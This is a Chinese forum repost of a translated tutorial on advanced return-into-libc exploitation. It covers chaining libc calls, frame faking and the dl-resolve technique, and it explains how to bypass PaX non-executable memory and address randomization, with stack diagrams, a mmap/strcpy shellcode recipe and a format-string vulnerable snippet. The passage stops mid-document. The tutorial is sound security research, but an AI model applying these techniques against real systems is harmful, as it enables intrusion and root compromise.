论坛: 菜鸟乐园 标题: 高级返回库函数exploit代码实现[zz] 复制本贴地址    
作者: georgeju [georgeju]    论坛用户   登录


创建时间:2004-02-22
文章属性:转载
文章提交:l0pht (vbs_at_21cn.com)

高级返回库函数exploit代码实现
作者:Nergal <nergal@owl.openwall.com>
翻译:null <roohacker@sohu.com>
                                                                                       
-【1-介绍
1- 介绍
2- 传统返回函数库技术
3- 多个联结返回函数库调用
  3.1 - 传统方法的局限
  3.2 - "esp增长"的方法
  3.3 - 栈帧伪造
  3.4 - 嵌入零字节
  3.5 - 概要
  3.6 - 简单代码
4- PaX的特征
  4.1 - PaX基础
  4.2 - PaX和返回库函数的实现
  4.3 - PaX与mmap随机功能
5- 动态链接dl-resolve()函数
  5.1 -一些ELF(可执行和链接格式的文件)的数据类型
  5.2 -一些ELF的数据结构
  5.3 -如何从PLT(过程连接表)调用dl-resolve()
  5.4 -结论
6- 战胜PaX
  6.1 -必要的条件
  6.2 -构建exploit
7-其他更多
  7.1 -系统无关性
  7.2 -其他类型的缺陷
  7.3 -其他"不可执行"的解决方法
  7.4 -改进现有"不可执行"的设计
  7.5 -版本信息
8-参考的出版物和工程项目
9-附件:README.code代码部分及代码注解
这篇文章大致可以分成两部分。前一部分,描述了高级返回库函数技术。一些现有的观点,或是与其类似的,已经被其他人公开发表的一些观点。然而,这些重要的技术信息资源是零散的。通常,不同平台的实现中,伴随的那些源代码都不是很有教育作用,或者根本没有作用。因而,我决定集合一些有用的资源和我自己的一些想法,写进这篇文章中,它应当利于帮助人们方便的参考。从这些内容公布在众多的安全列表中,应该判断出,这些信息决不是现有的普通公共认识。

第二部分专注于对PaX保护下的系统,通过不同途径实现堆栈缓冲溢出。现在的PaX性能被改进增强了许多,通过堆栈随机地址处理和函数库地址映射的方法增加安全性,并以一种审慎重视的姿态挑战exploit编码者。最初的方法是通过直接调用动态链接标志来决定程序的流程被呈现出来。这种方法非常普遍,而成功的实现所需求的条件也相当容易。

由于PaX保护下Intel平台稍有不同,而一般的示范源代码是为linux i386 glibc系统设计的。PaX被大多数人认为不是很稳定;然而,现有的技术(为linux i386 glibc描述的)能够轻易的在其他系统/体系上实现,能够用于逃避不可执行的安全设计,包括一些在硬件级别保护的实现。

假定读者具备exploit技术的基础知识,在更进一步的学习前,已经对文章[1][2]的理解吸收,[1][2]包含的对ELF描述的实际操作。

-[2 -传统返回函数库技术
传统的返回函数库技术在文章[2]很好的描述了,所以在这里只是简单的摘要。该技术用于逃避堆栈不可执行的保护,是非常普遍的方法。与在堆栈中定位返回代码的地址不同,有缺陷的函数被返回到被动态库占用的内存区域。通过下面的堆栈构造溢出堆栈的缓冲达到目的,如下所示:
<- 堆栈增长的方向
  内存地址增长的方向 ->
------------------------------------------------------------------
| buffer fill-up(*)| function_in_lib | dummy_int32 | arg_1 | arg_2 | ...
------------------------------------------------------------------
                          ^
                          |
                          - int32 会被有缺陷的函数的返回地址保存覆盖

(*) buffer fill-up 会被保存的$ebp覆盖
包含有缓冲溢出的函数返回到function_in_lib库函数的地址处恢复"可执行"。通过改变函数的指针,dummy_int32将作为arg_1, arg_2 等参数的返回地址,转入该库函数中的系统调用函数的地址(libc system()),即该库函数的指令序列,让arg_1 指向"/bin/sh"。

-【3 -多个联结返回函数库调用
--[ 3.1 -传统方法的局限
前面提到的技术有两个明显的局限。首先,它不可能在function_in_lib函数后,请求调用另一个参数的函数。为什么?当function_in_lib返回后,将在dummy_int32的地址处恢复可执行。这样,它成了另一个库函数,它的参数将不得不占用function_in_lib的参数需占用的相同的空间。有时,这不是个问题(见文【3】中普遍的列子)

注意到多次的函数调用是频繁的。比如一个有缺陷的应用程序在需要的时候临时进入到超级用户权限状态(比如,一个setuid的应用程序能够seteuid(getuid()) ),通常一个在exploit代码实现中就要在调用system()前,通过调用setuid(0),恢复超级用户权限状态。

第二个局限是function_in_lib函数包含的参数变量中不能够含有零字节(一种典型的情况是字符串处理程序中导致溢出,如果有零字节,将停止处理),下面是两种不同的方法来联结多个库函数的调用来实现exploit。

--[ 3.2-"esp[栈指针]增长"的方法
这种方法攻击使用过"-fomit-frame-pointer"这种编译选项(该编译参数通常不保存帧指针在函数寄存器中,避免指令保存,建立,恢复帧指针)进行编译的文件而设计的,这种编译条件下,典型的函数结尾象这样:
eplg:
        addl    $LOCAL_VARS_SIZE,%esp
        ret
假设f1,f2是定位在库函数中的函数地址,我们建立下面的溢出字符串:
<- 堆栈增长的方向
  内存地址增长的方向 ->

---------------------------------------------------------------------------
| f1 | eplg | f1_arg1 | f1_arg2 | ... | f1_argn| PAD | f2 | dmm | f2_args...
---------------------------------------------------------------------------
^          ^                                        ^
|          |                                        |
|          | <---------LOCAL_VARS_SIZE------------->|
|
|-- int32 会被有缺陷的函数的返回地址保存覆盖
PAD处是一些非零字节构成,其长度增长到被f1及其参数的变量地址占用的空间,应等于LOCAL_VARS_SIZE。(见上)
它是如何工作的?有缺陷的函数返回到地址f1,f1将返回到函数结尾,而结尾处的指令
"addl $LOCAL_VARS_SIZE,%esp" 将让堆栈的指针增加LOCAL_VARS_SIZE,这样,指针将指向地址f2并贮存起来。而结尾的"ret" 指令将返回到f2的地址,这样,我们在一行中调用了两个函数。
类似的技术在文[5]中也有说明。和文[5]中介绍的返回到一个标准函数结尾稍有不同,一些程序(库函数)映像中具有下面的指令序列:
pop-ret:
        popl any_register
        ret
这样的顺序将编译出最优化的标准结尾的结果。很优美
现在,我们构建下面的堆栈
<- 堆栈增长的方向
  内存地址增长的方向 ->
------------------------------------------------------------------------------
| buffer fill-up | f1 | pop-ret | f1_arg | f2 | dmm | f2_arg1 | f2_arg2 ... 
------------------------------------------------------------------------------
                  ^
                  |
                    - int32 会被有缺陷的函数的返回地址保存覆盖
其工作原理和前面的列子类似,除了堆栈指针不被增长LOCAL_VARS_SIZE,"popl any_register"指令移动了堆栈指针4个字节,这样,f1全部参数变量最多可以传递4个字节到f1的地址。
如果指令的顺序是这样:
pop-ret2:
        popl any_register_1
        popl any_register_2
        ret
这样,我们可以通过2个参数每个都是4个字节传递给f1地址。
后面的技术中的问题是,不可能同时可以在"pop-ret"这种形式中用到3个以上的pops(出栈指令),因此,现在我们还只能够用到前面提到的那些变化情况。
在文[6]中能够找到和前面相似的想法,可惜的是那里写的很糟糕。

注意我们可以用这种方式联结任何形式的函数。另要注意:我们并不需要知道在堆栈中精确的定位(也就是我们并不需要知道堆栈中指针精确的数值)当然,如果调用函数请求数组参数中变量的指针,并且指针就在我们的堆栈内,那么我们就需要知道他的精确地址。


----[ 3.3 - 栈帧伪造(见文[4])
这第2中技术是攻击为没有使用" -fomit-frame-pointer"这种编译选项的程序而设计的。它的函数结尾象这样:
leaveret:
        leave
        ret
不管是否使用了最优化选项,gcc编译器总是"ret"和"leave"来结尾.所以,我们没能够找到有意义的在这种2进制文件中通过"esp增长"这种技术(不过请注意3.5节的结尾)

实际上,在libgcc.a 的文档中说明了,当用-fomit-frame-pointer 这些编译选项编译目标文件的时候,在编译的过程中, 默认编译器连接成可执行文件。因而在这些执行文件中可以找到如"add $imm,%esp; ret"这样的指令序列。可是我们不能够依靠gcc的这些特征,因为它还要取决于更多的因数(gcc的版本,编译使用的选项,等)

代替"esp[帧指针]增长"的方法,通过函数返回到"leaveret"。堆栈的构造应该逻辑的分成不同的部分,通常的exploit代码应该和"leaveret"接近。
<- 堆栈增长的方向
  内存地址增长的方向 ->
                       
                    保存基址寄存器  缺陷函数返回地址
--------------------------------------------
| buffer fill-up(*) | fake_ebp0 | leaveret |
-------------------------|------------------
                        |
  +---------------------+        (*)这种情况,buffer fill-up不能被覆盖写在栈帧指针
  |                 
  v
-----------------------------------------------
| fake_ebp1 | f1 | leaveret | f1_arg1 | f1_arg2 ...                   
-----|-----------------------------------------
    |                      第一栈帧
    +-+
      |
      v
    ------------------------------------------------
    | fake_ebp2 | f2 | leaveret | f2_arg1 | f2_argv2 ...
    -----|------------------------------------------
          |                  第二栈帧 
          +-- ...
fake_ebp0 是第一栈帧的地址,fake_ebp1 是第二栈帧的地址,依次类推。
现在,一些想法将被呈现在下面
1)有缺陷的函数的结尾(leave;ret)将fake_ebp0的地址赋予栈基指针,并返回到leaveret。
2)结尾的两个指令(leave;ret)放fake_ebp1 地址到栈基指针,并返回到f1的地址。
3)f1执行后返回leaveret。
重复2)3)步骤,用 f1,f2,。。。fn代替。

文[4]中的返回到函数结尾的技术没有过多的用途,因而作者提议如下,堆栈应该被构建成让exploit代码返回到F函数前面的库函数的后面,不要返回到F函数自身,这中技术和前面很类似,然而我们很快就会面对这种情形,当F函数仅通过过程连接表(PLT),这种情况,就不可能返回到函数F的地址加某个地址偏移。而只会返回到自身的地址。

注意,为了使用这个技术,必须知道精确的定位伪造的栈帧,因为fake_ebp必须按照规则设置。如果所有的栈帧定位在buffer fill-up的后面,那么必须知道在溢出后面堆栈指针的确定数值。然而,如果我们知道怎样控制一个伪造的栈帧定位在一个已经知道的内存区域(静态变量更适合),就没有必要猜测堆栈的指针数值了。

有可能攻击这种用 -fomit-frame-pointer这类的便宜选项的程序,这种情况,我们不需要找程序中的leave&ret代码,但通常它能够在一些常规的联结过程中发现。因此我们要改变这些零的块。

-------------------------------------------------------
| buffer fill-up(*) | leaveret | fake_ebp0 | leaveret |
-------------------------------------------------------
                          ^
                          |
                          |-- int32 会被有缺陷的函数的返回地址保存覆盖
两个leaverets是必要的,由于有缺陷的函数当返回的时候不会设置堆栈指针。由于"帧伪造"教"堆栈指针增长"有优势。一些时候是很必要的通过这种方法达到攻击。

----[ 3.4 - 嵌入零字节
还有一个问题:传给一个函数的参数中包含有零字节。当多个函数有效调用时,有一个简单的解决方法:先调用的函数通过嵌入零字节到下一个要调用的函数的参数的地址。

Strcpy是我们经常用到的一个函数,它的第二个参数指向一个程序映像中固定空间的零字节,第一个参数指向的是将无效的地址,我们在每一次函数调用的时候指定无效的零字节,在需要的int32位置可以放入零,这方法需要适当的后效的位置放置。比如,sprintf(some_writable_addr,"%n%n%n%n",ptr1, ptr2, ptr3, ptr4);可以在some_writable_addr地址使其无效,在ptr1, ptr2, ptr3, ptr4让int32放置于这些地址,同样无效。还有很多的函数可以达到这种方式的目的,比如scanf,详见文[5]。

注意,这种方法解决的一个深层次的问题。如果所有的库函数被通过含有零的地址进行地址映射处理,比如sun公司对Solar设计的堆栈不可执行补丁,我们将不能够直接的返回到一个库函数中,因为我们不能够传零字节到溢出的堆栈中。但是,如果被攻击的程序中调用过Strcpy(或者sprintf,见文[3]),并且有适当的(PLT)过程连接表入口,那么我们可以利用,开头调用函数包括strcpy这样的让函数的参数字节无效,但不是函数自身的地址的字节。在这些参数的后面,我们可以再从库函数中调用任意的函数了。

----[ 3.5 - 概要
如上两种的现有的方法都是比较类似的,从调用的函数中返回,而不是直接返回到后一个函数的地址。但在一些函数的结尾,通过调整堆栈指针或者是栈帧指针,将控制转移到同一链中的下一个函数中。

在上面两种方法中,我们都试图在可执行格式的文件的文件体中寻找一个适当的结尾。通常,最好是利用库函数的结尾。然而,一些时候,这种库函数映像的结尾是不能够直接的返回,比如库函数被通过零字节进行过地址映射处理的情况,已经被提及了。我们将面对另一种情况,可执行文件的映像不是一个固定的位置,而一定会在一个固定的位置进行随机的映射,发现,一些情况下,linux系统的这个地址是0x08048000,这样,我们可以利用这里地址顺利的返回到目标库函数。

----[ 3.6 - 简单代码
ex-move.c 和ex-frames.c是对vuln.c程序实现的exploit代码。这exploit代码中联结了一些象strcpy和mmap的函数调用。在4.2节中有更多的解释。总之,任何人可以通过这些给出的exploit代码作为模块,构建库函数返回技术的exploit实现代码。

--[ 4 - PaX的特征
----[ 4.1 - PaX基础
如果你没有听说过PaX linux内核补丁,建议你访问他们的项目主页[7]。下面是一些从PaX文档中的引用。
"该文档讨论在IA-32处理器上实现不可执行的可能性。(比如用户模式下的页面是可读,写的,但是不能够代码执行)不过该处理器还没有提供这项功能,这是很有价值的工作。"
"[...]为防止堆栈缓冲区溢出的攻击,有一些观点和方式,一种观点是,在数据段中有限的排除代码的情况下,可以通过页面的不可执行的方法达到遏止攻击[...]"
"[...]在内核模式下,通过DTLB和ITLB入口写代码将导致错误[...]可以创建数据段只可读,写,而不能都执行的状态,这是保证不被溢出攻击的根本"

总的而说,缓冲区溢出攻击通常试图在执行代码中使用一些数据达到攻击的过程。PaX的主要功能是不允许在任何数据段具有可执行---这种特点让典型的溢出实现代码失去效果。

--[ 4.2 - PaX和返回库函数的实现
最初,数据段不可执行是 PaX的唯一特征。呵呵,你已经猜到了,它对return-into-lib的exploit攻击还是远远不够的。这种代码实现通过定位在库函数中和二进制的文件完美的结合。在本文的3章中进行了描述。实现代码中调用多个库函数,这种技术在高级exploit代码实现中有其优势。

下面的代码可以在 PaX 保护的系统中成功的执行!
char shellcode[] = "arbitrary code here";
    mmap(0xaa011000, some_length, PROT_EXEC|PROT_READ|PROT_WRITE, 
                          MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS|MAP_SHARED, -1, some_offset);
    strcpy(0xaa011000+1, shellcode);
    return into 0xaa011000+1;
简单的解释:mmap函数调用时在地址0xaa011000(*start参数)分配内存单元。它并不和任何的目标文件有关系。但得感谢MAP_ANONYMOUS标志,和文件描述符(int fd)等于-1。当代码定位在0xaa011000时,在Pax会被执行(由于函数mmap函数中的参数PROT_EXEC(保护模式内存页面可执行)被设置了)。显然,任何代码如果代替上面代码中的"shellcode"都将被执行。

好,我们来看实现代码了。vuln.c 是一个被攻击的程序,有明显的溢出问题,开始编译它:)
$ gcc -o vuln-omit -fomit-frame-pointer vuln.c
$ gcc -o vuln vuln.c
-fomit-frame-pointer该编译参数通常不保存帧指针在函数寄存器中,避免指令保存,建立,恢复帧指针。其中ex-move.c是攻击vuln-omit的exploit代码;ex-frames.c是攻击vuln的exploit代码。
exploit实现代码依次调用strcpy()和mmap(),请参考README.code理解更多的指令。(详见《高级返回库函数exploit代码实现(下)》)

如果你要在最新的Pax保护的系统中演示以上代码,务必需要禁止随机映射的功能,如下:
$ chpax -r vuln; chpax -r vuln-omit

----[ 4.3 - PaX与mmap随机功能
为了抗击返回库函数实现的技术,PaX增加了一个可爱的功能。如果在内核配置中设置一些适当的功能,第一次装载的库函数将随机的映射地址,而下一个又在前一个的基础上进行随机处理。相似的应用在堆栈中,第一个库函数随机映射的地址以这种方式0x40000000+random*4k。堆栈顶部等于0xc0000000-random*16。可以看出,所谓的随机不过是一个16位的无符号的整数。通过函数get_random_bytes()获得随机调用且进行过加密的强壮数值。

我们可以通过命令"ldd -r some_binary"来查看调用的库函数并了解它的行为。并还可通过"cat /proc/$$/maps" ($$代表程序的进程号)了解Pax的随机过程。
呵呵,注意看下面,每次的运行ash所调用的库函数的地址都是不同的:)
nergal@behemoth 8 > ash (第一次)
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
4b150000-4b166000 r-xp 00000000 03:45 107760    /lib/ld-2.1.92.so
4b166000-4b167000 rw-p 00015000 03:45 107760    /lib/ld-2.1.92.so
4b167000-4b168000 rw-p 00000000 00:00 0
4b16e000-4b289000 r-xp 00000000 03:45 107767    /lib/libc-2.1.92.so
4b289000-4b28f000 rw-p 0011a000 03:45 107767    /lib/libc-2.1.92.so
4b28f000-4b293000 rw-p 00000000 00:00 0
bff78000-bff7b000 rw-p ffffe000 00:00 0
$ exit
nergal@behemoth 9 > ash (第二次)
$ cat /proc/$$/maps
08048000-08058000 r-xp 00000000 03:45 77590      /bin/ash
08058000-08059000 rw-p 0000f000 03:45 77590      /bin/ash
08059000-0805c000 rw-p 00000000 00:00 0
48b07000-48b1d000 r-xp 00000000 03:45 107760    /lib/ld-2.1.92.so(地址不同前面)
48b1d000-48b1e000 rw-p 00015000 03:45 107760    /lib/ld-2.1.92.so(下同)
48b1e000-48b1f000 rw-p 00000000 00:00 0
48b25000-48c40000 r-xp 00000000 03:45 107767    /lib/libc-2.1.92.so
48c40000-48c46000 rw-p 0011a000 03:45 107767    /lib/libc-2.1.92.so
48c46000-48c4a000 rw-p 00000000 00:00 0
bff76000-bff79000 rw-p ffffe000 00:00 0

可见,增加的CONFIG_PAX_RANDMMAP特征,将不容易返回到库函数了,每次运行调用的库函数的地址都不同。

同时,Pax还不是很完善,有下面一些明显的瑕疵,不过有些可以解决完善。

1)如果/proc/pid_of_attacked_process/maps 具有可读的情况,那么本地的攻击代码中的库函数和被映射的堆栈地址可以从maps被获得。如果被攻击的程序开始运行后,攻击程序将有通过运行的被攻击程序覆盖堆栈的缓冲的准备时间,一个攻击者可以利用可用的信息来构建堆栈中的溢出代码数据。比如,如果溢出代码中用到的数据来自于程序中调用函数的某个参数或者是该程序的环境,那么攻击者会无所作为,但是,如果溢出代码是来自于一些I/O(输入/输出)的操作(比如,socket或是read files),那么攻击这将成功。
解决方法:禁止访问/proc 目录。象其他的一些安全补丁一样:)

2)攻击者可以"暴力"猜测出mmap后的库函数的地址。通常(将6。1节的结尾)有足够的条件能够"暴力"猜测到库函数的基址地址,通过大约数万次的尝试,攻击者有一半的机会猜对。当然,每一次的失败都会被系统日志记录,但是,对安全而言并不可靠,如果日志被篡改:)
解决方法:配置segvguard(见文[8]),它是一个守护精灵,每一次的一个进程通过信号SIGSEGV或类似的信号进入内核将被通报,Segvguard将临时禁止该程序继续执行(可以防止暴力猜测攻击进行),并且Segvguard还有一些有趣的功能,在没有Pax 的情况下,它值得一试。

3)库函数的信息和堆栈的地址,如果利用格式化漏洞,将被泄露。比如,wuftpd的缺陷,攻击者可以通过site exec [eat stack]%x.%x.%x...命令来探测堆栈的情况。隐藏在堆栈中变量的指针将自动的在栈基呈现出来。由于对一个目标的库函数而言,动态链接和库函数的启动程序里保留有堆栈的一些指针和一些函数返回地址,利用这些,攻击者可以推论出库函数的基址地址。

4)一些特殊的情况,在被攻击的程序中,攻击者可以找到一类函数,它们的位置是固定的,而且不能被mmap函数进行随机映射。比如,"su"就是这样的一种函数(被证明调用成功),利用它可以获得root权限和执行的shell,这已经足够了:)

5)对有缺陷的函数,其所有的库函数的调用都要经过PLT过程连接表的入口,象这样一个程序,PLT必须在一个固定的地址,有缺陷的程序通常是很大的并且调用许多的库函数,这种条件很可能在PLT找出一些有趣的东西来,达到攻击目的。

实际上,后面3个问题还不能够解决,而且上面的5点,我都不能够保证能够成功的代码实现,特别是4种情况是很少的。我们的确需要更普遍的方法来实现。

在下面的章节中,我将描述动态链接库中的dl-resolve() 函数的界面。如果它的适当的一个参数可以又ascii支持的字符串的函数名字,并且能够决定实际的函数地址,和dlsym()相类似。使用dl-resolve() 函数,我们可以构建返回库函数的实现代码,它返回到一个函数,但是在我们构建代码的时候,我们并不知道它返回的确切地址。见文[12]描述了从函数名字中获得该函数地址的途径,不过现有的技术还没能达到我们的目的。

--[ 5 - 动态链接dl-resolve()函数
这章尽量的简单的说明,更详尽的描述请参阅文[9],和glibc的源码,特别是dl-runtime.c。请见文[12]。

----[ 5.1 - 一些ELF(可执行和链接格式的文件)的数据类型
下面是头文件elf.h中的一些定义:
typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;              /* Address */
  Elf32_Word    r_info;                /* Relocation type and symbol index */
} Elf32_Rel;
/* How to extract and insert information held in the r_info field.  */
#define ELF32_R_SYM(val)                ((val) >> 8)
#define ELF32_R_TYPE(val)              ((val) & 0xff)


typedef struct
{
  Elf32_Word    st_name;  /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;  /* Symbol size */
  unsigned char st_info;  /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

----[ 5.2 - 一些ELF的数据结构
ELF可执行文件包含一些我们感兴趣的数据结构(主要是数组),这些结构的位置可以从ELF执行文件的动态区域找到。使用 "objdump -x file"命令可以显示文件动态区域的的头部信息(动态符号表、重定位入口等)。

$ objdump -x some_executable     
... 得到一些有用的信息(动态符号表、串表,重定位入口,etc)...
Dynamic Section:(动态段区域)
...
  STRTAB      0x80484f8 the location of string table (type char *)
  SYMTAB      0x8048268 the location of symbol table (type Elf32_Sym*)
....
  JMPREL      0x8048750 the location of table of relocation entries
                        related to PLT (type Elf32_Rel*)
...
  VERSYM      0x80486a4 the location of array of version table indices
                        (type uint16_t*)
"objdump -x" 也能够显示出 .plt(过程连接表)处的动态段的信息, 0x08048894地址的如下列子:
11 .plt          00000230  08048894  08048894  00000894  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE

----[ 5.3 - 如何从PLT过程连接表中调用dl-resolve()
一个典型的PLT过程连接表入口(当elf格式为elf32-i386)象下面这样:
(gdb) disas some_func
Dump of assembler code for function some_func:
0x804xxx4 <some_func>:    jmp    *some_func_dyn_reloc_entry
0x804xxxa <some_func+6>:  push  $reloc_offset
0x804xxxf <some_func+11>:  jmp    beginning_of_.plt_section --->过程连接表入口
PLT过程连接表入口值不同,仅仅取决于$reloc_offset的数值(包括some_func_dyn_reloc_entry的值,以后,它作为运算中的符号)。我们可以看到在代码段,压$reloc_offset入栈,并跳到.plt过程连接表段的入口。这几个指令后,控制权转到dl-resolve()函数,reloc_offset作为其一个参数,下面是函数dl-resolve()简要的运算说明:
1)计算函数入口地址
Elf32_Rel * reloc = JMPREL + reloc_offset
2)计算函数symtab入口地址
Elf32_Sym * sym = &SYMTAB[ ELF32_R_SYM (reloc->r_info) ];
3)结构完整检查
assert (ELF32_R_TYPE(reloc->r_info) == R_386_JMP_SLOT);
4)glibc 2.1.x 或更新的版本,要做另一项检查,如果符号不等于零sym->st_other & 3 != 0,则假设符号已经由前面决定了,就要转向其他的运算法则方式。我们必须确保符号等于零sym->st_other & 3 == 0。
5)如果符号版本正确,检查版本索引表
uint16_t ndx = VERSYM[ ELF32_R_SYM (reloc->r_info) ];
并找出版本信息
const struct r_found_version *version =&l->l_versions[ndx];
l是link_map 的参数,这里重要的是ndx必须是一个合法的数值,0最好,0意味着"local symbol"。
6)函数名字(asciiz字符串)的检查
name = STRTAB + sym->st_name;
7)检查函数的地址,收集足够的信息,隐藏的两个变量的Elf32的地址定位在reloc->r_offset和sym->st_value。
8)调整堆栈指针,准备调用一些函数
注意:在一些glibc下,fixup()函数执行完成运算的规则,dl-runtime-resolve()完成调用工作。

----[ 5.4 -结论
假设我们溢出堆栈缓冲区如下所示:
--------------------------------------------------------------------------
| buffer fill-up | .plt start | reloc_offset | ret_addr | arg1 | arg2 ...       
--------------------------------------------------------------------------
                        ^
                        |
                        - int32 会被有缺陷的函数的返回地址保存覆盖
如果我们准备适当的sym和reloc变量值(分别是Elf32_Sym和Elf32_Rel类型),并计算reloc_offset的数值,将控制权传递给函数,函数名可以找到在STRTAB + sym->st_name,适当的放置参数arg1, arg2 ,我们就有机会返回到另一个函数(ret_addr)。

dl-resolve.c 是个简单的执行以上描述的技术的攻击代码,注意,你需要编译这个代码两次,详见后面的README.code代码部分。

--[ 6 - 战胜PaX
----[ 6.1 - 必要的条件
为了使用在第5章中描述的返回动态链接技术,我们需要适当的位置安置一些结构,我们还需要一个可以移动字节到选定区域的函数,呵呵,最佳人选是strcpy,不过strncpy, sprintf 等也很不错。象文[3]中那样。我们要求在被攻击的程序映像中的strcpy有PLT(过程连接表)的入口。

返回动态链接技术解决了被随机映射的库函数的问题。然而在堆栈中,还不能得到解决,如果溢出的代码在堆栈中寄存,那么我们不能够知道其确切地址,我们也不能通过strcpy够插入0的块(见3。3节)。很遗憾,还不能够拿出一个一般的解决这个问题的方法。(你可以吗?)下面两种方法可能达到要求。

1) 如果在PLT过程连接表中,scanf()是有效的函数。我们可以执行象下面的一些事情:
scanf("%s\n",fixed_location)
这样它将一些构建堆栈的结构的输入拷贝到fixed_location,如果我们用栈帧伪造的技术,那么堆栈的栈帧将脱节,所以我们用fixed_location 代替。

2) 如果被攻击的程序使用了-fomit-frame-pointer编译选项,我们通过esp增长的技术,联结调用多个strcpy函数,甚至可以不知道堆栈指针的数值(见3.2节结尾的注意事项)。第n个strcpy应该具有下面的参数形式:
strcpy(fixed_location+n, a_pointer_within_program_image)
这种方式我们可以一个字节一个字节的构建适当的栈帧在fixed_location。这样做了后,我们灵活的组合"esp增长"和栈帧伪造的技术,这种方法请见3。3节。

很多类似的工作区构建可以被设计,不过没有多少必要,这些工作很象拷贝一些用户控制的数据到静态数据段或者内存中划分变量区域。因此,上面就是我们的主要工作了,无须多说。

总而言之,我们需要见到两种条件:
6.1.1) strcpy (或 strncpy, sprintf及其类似的函数)有效的通过PLT过程连接表入口。
6.1.2) 在被攻击程序执行的一般过程中,拷贝了用户私有数据到静态变量区域或是内存中划分的变量区域。


----[ 6.2 - 构建exploit
我们将仿照dl-resolve.c这个实现代码的列子,通过调用mmap函数实现返回动态链接技术的方法获得一个可以读,写,执行的内存区域,利用strcpy函数将shellcode 放置在这个区域作为返回函数的地址.我们讨论的被攻击的程序没有使用 -fomit-frame-pointer 这些编译选项,和栈帧伪造.

我们需要确保下面3个有关联的结构适当的放置位置.
1) Elf32_Rel reloc
2) Elf32_Sym sym
3) unsigned short verind (which should be 0)
verind的地址是怎样和符号sym关联的?将ELF32_R_SYM 的数值赋给"real_index" (reloc->r_info);
则:
        sym(符号)  is at SYMTAB+real_index*sizeof(Elf32_Sym)
        verind      is at VERSYM+real_index*sizeof(short)
将verind放置在.data数据段 或者 .bss未被初始化的数据段,并通过两次strcpy函数调用使其为零,看起来很自然,不过不幸运的,在这种情况下,real_index将变得非常的大,sizeof(Elf32_Sym)=16远远大于了sizeof(short), sym的地址将远离程序进程的数据段.所以,应该明白为什么在dl-resolve.c 代码中需要从内存中分配上万字节的空间.

好了,现在可以通过设置MALLOC_TOP_PAD_ 的环境变量来扩大任意的执行进程的数据段,不过只能在本地执行代码,我们寻找更普遍的途径来实现,我们通常可以降低verind的位置,放置在被映射的只读区域,我们寻找零短字节,该实现代码通过verind的地址来定位"sym"结构.

我们在那里寻找零短字节?首先,在溢出发生时,我们需要通过被攻击的程序的执行过程中在/proc/pid/maps文件中确定被mmap映射的能够写的,数据段可执行的内存区域的范围.是个包括[地地址,高地址]这样的区域.我们拷贝符号结构到这里.通过简单的计算可以知道real_index的地址在[(low_addr-SYMTAB)/16,(hi_addr-SYMTAB)/16]这个区域中,我们因而在[VERSYM+(low_addr-SYMTAB)/8, VERSYM+(hi_addr-SYMTAB)/8]该区域寻找短零字节.
当找到了适合的verind后,还得检查如下这些:
1) 符号的地址不能够和伪造栈帧相交叉.
2) 符号的地址不能覆盖在任何内在的连接数据,比如strcpy的GOT全局偏移表入口)
3)须知道堆栈指针会被转移到静态的数据段.必须要有足够的空间来放置动态链接程序所在的栈帧栈.所以,最好,但不是必须的,在伪造栈帧后面放置符号"sym".

一个建议:寻找零短字节的方式,最好使用gdb,比通过命令"objdump -s" 输出分析要好一些.因为后者不能够显示出.rodata 后面的内存区域:)

实现代码icebreaker.c 是一个很简单的攻击pax.c程序. vuln.c和 pax.c唯一的不同是拷贝到静态缓冲的环境变量不同罢了.(注意看后面的代码:)

--[ 7 - 其他更多
----[ 7.1 - 系统无关性
由于PaX是为linux系统设计的,所以在这篇文章中讨论的焦点也是对这种系统而言.然而 ,当今技术的发展和实现,趋向于系统的无关性.栈和栈帧指针,C函数调用的标准,ELF的描述,所有这些都在当今被广泛的使用和实现了.对dl-resolve.c 代码而言,我已经成功的在Solaris i386和 FreeBSD实现了.
不过mmap的第4个参数必须被调整,比如在BSD系统,MAP_ANON 的数值就不同的.在我实现的这两个系统,动态链接对符号版本影响不大,所以,不应该不容易实现:)


----[ 7.2 -其他类型的缺陷
对缓冲溢出而言,现有的技术是很基础的.返回某个地址的代码实现依靠的是不能更改堆栈%eip的单一的溢出,但是,在返回的函数地址,我们能够放置函数的参数在栈顶.

另外两个大的缺陷分类,malloc控制结构腐败和格式化字符串攻击.对前一个问题,我们用任意的数值覆盖其整型字节---非常的下,以至于逃脱了PaX的保护.后一个问题,我们通常改变任意字节的数目.如果我们能够覆盖%ebp和函数的%eip,我们不需要做其他的了.但是由于栈基是随机的地址,没有办法确定任何栈帧的地址.

通过改变一些 GOT全局偏移表 的入口,不过只能控制得到指令下一个的地址,对逃避Pax的保护还远不够.

不过,在这里有个开发实现代码的想法很可能能够实现.我们假设下面3个条件:
1)被攻击程序使用了-fomit-frame-pointer 编译选项.
2)一个f1的函数,它分配的堆栈缓冲区可以由我们来控制.
3)函数f2有一个格式话漏洞(或者错误使用free()),它被f1调用或者间接调用.

有缺陷的代码如下:
void f2(char * buf)
        {
                printf(buf); // 格式化漏洞
                some_libc_function();
        }
        void f1(char * user_controlled)
        {
                char buf[1024];
                buf[0] = 0;
                strncat(buf, user_controlled, sizeof(buf)-1);
                f2(buf);
        }
假设函数f1()正被调用,通过构造的格式化字符串,我们可以改变some_libc_function库函数的GOT全局偏移表入口地址,变成下面代码的入口地址.代码如下:
        addl $imm, %esp
        ret
这是个函数的结尾代码,这种情况,库函数被调用,通过"addl $imm, %esp"指令改变了堆栈指针.如果我们选择适当的$imm,让堆栈指针指向我们能够控制的堆栈缓冲里面.这样一来,就象一个堆栈的缓冲溢出,我们可以链接函数,返回链接技术等等溢出方式来实现.

另一种情况:单一字节的堆栈缓冲溢出.这种溢出控制栈帧指针最后的一个字节,在第二个函数返回的时候,攻击者有机会可以通过单一字节的溢出技术通过控制%esp,获得堆栈的整个控制权,改变弹出的%eip转到执行我们的实现代码,现有的所有技术已能够实现.

----[ 7.3 - 其他"不可执行"的解决方法
